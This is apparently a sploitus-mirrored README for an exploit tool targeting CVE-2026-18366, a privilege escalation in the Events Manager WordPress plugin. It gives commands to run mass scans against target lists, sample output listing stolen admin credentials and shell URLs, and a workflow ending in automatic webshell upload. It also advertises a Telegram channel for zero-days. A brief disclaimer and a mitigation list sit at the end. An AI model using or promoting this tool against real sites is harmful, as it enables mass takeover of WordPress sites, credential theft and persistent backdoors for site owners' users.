## https://sploitus.com/exploit?id=0D05FDA5-2D32-5BF2-B5F3-D39DFE729B14
# CVE-2026-18366
Events Manager < 7.4.1 - Unauthenticated Privilege Escalation to Administrator
---
## π Stay Updated
**For the latest zero-days, exploits, and security research**
[](https://t.me/KNxploited)
---
## π Vulnerability Overview
| Attribute | Details |
|-----------|---------|
| **CVE ID** | CVE-2026-18366 |
| **Severity** | π΄ **CRITICAL** (CVSS 9.8) |
| **Plugin** | Events Manager for WordPress |
| **Affected Versions** | β οΈ Unauthenticated REST does not require a nonce (no logged-in cookie).
### Guest Booking Exploitation
Guest bookings (`dbem_bookings_anonymous=1` by default) create real WP users, enabling collision forcing. The booking nonce is publicly available on event forms.
---
## π Usage
### Requirements
```bash
pip install aiohttp
```
### Quick Start
```bash
python CVE-2026-18366.py
```
The script will prompt for:
- **list** β Path to target list file (default: `list.txt`)
- **speed** β Concurrent workers (default: 10)
### Command Line Options
```bash
python CVE-2026-18366.py -l targets.txt -s 20 --timeout 30
```
| Option | Description |
|--------|-------------|
| `-l, --list` | Path to file containing target URLs |
| `-s, --speed` | Number of concurrent workers (1-200) |
| `--timeout` | Request timeout in seconds (default: 20) |
### Target List Format
Create a `list.txt` file with one target per line:
```
https://target1.com
https://target2.com/wordpress
http://target3.com
target4.com
```
---
## π Output
### Console Output
```
[+] [HH:MM:SS] target.com ADMIN username:password uid=X path
[+] [HH:MM:SS] target.com SHELL https://target.com/wp-content/plugins/...
```
### Results File
Successful compromises are saved to `adminS.txt`:
```
https://target.com | username:Nx_admin_@!KSA | uid=X | path=id-collision | ADMIN | shell_url
```
---
## π Exploitation Workflow
```
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β CVE-2026-18366 Flow β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β β
β ββββββββββββ βββββββββββββββ ββββββββββββββββββββββββ β
β β Detect β β β Collect IDs β β β PATH A: ID Brute β β
β β Plugin β β (CPT/HTML) β β REST /users/{id} β β
β ββββββββββββ βββββββββββββββ ββββββββββββ¬ββββββββββββ β
β β β
β ββββββββΌβββββββ β
β β Success? β β
β ββββββββ¬βββββββ β
β No β β Yes β
β ββββββββββββΌβββββββΌβββββββββββ β
β β β β
β ββββββββββββββββββββββββ β βββββββββββββββββββ β β
β β PATH B: Guest Book β βββββ β Login + Verify β β β
β β Create user until β β Admin Access β β β
β β user_id == post_id β ββββββββββ¬βββββββββ β β
β ββββββββββββββββββββββββ β β β
β ββββββββββΌβββββββββ β β
β β Upload Shell β β β
β β (Plugin/Theme) β β β
β ββββββββββ¬βββββββββ β β
β β β β
β ββββββββββΌβββββββββ β β
β β Save Results β β β
β β adminS.txt β β β
β βββββββββββββββββββ β β
β β β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
```
---
## βοΈ Features
- **Async Architecture** β High-performance concurrent scanning
- **Dual Attack Paths** β ID collision + Guest booking exploitation
- **Auto Shell Upload** β Plugin/Theme webshell deployment
- **Version Detection** β Automatic vulnerable version identification
- **Smart Username Enum** β Multiple enumeration techniques
- **Login Verification** β Cookie + XML-RPC validation
- **Privilege Escalation** β Auto-promote to administrator
---
## π File Structure
```
βββ CVE-2026-18366.py # Main exploit script
βββ list.txt # Target URLs (create this)
βββ adminS.txt # Successful results (auto-created)
βββ README.md # This documentation
```
---
## β οΈ Disclaimer
```
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β LEGAL DISCLAIMER β
β βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ£
β β
β This tool is provided for EDUCATIONAL and AUTHORIZED β
β SECURITY TESTING purposes only. β
β β
β β’ Only use on systems you own or have explicit permission β
β β’ Unauthorized access to computer systems is ILLEGAL β
β β’ The author is NOT responsible for any misuse or damage β
β β’ By using this tool, you agree to these terms β
β β
β Use responsibly. Stay ethical. Respect the law. β
β β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
```
---
## π‘οΈ Mitigation
If you are a WordPress administrator:
1. **Update** Events Manager to version **7.4.1** or later
2. **Audit** user accounts for unauthorized changes
3. **Review** access logs for suspicious REST API activity
4. **Implement** WAF rules to filter malicious requests
---
## π€ Author
**Nxploited** (Khaled Alenzi)
[](https://t.me/KNxploited)
---
Security Research β’ Ethical Hacking β’ Zero-Day Discovery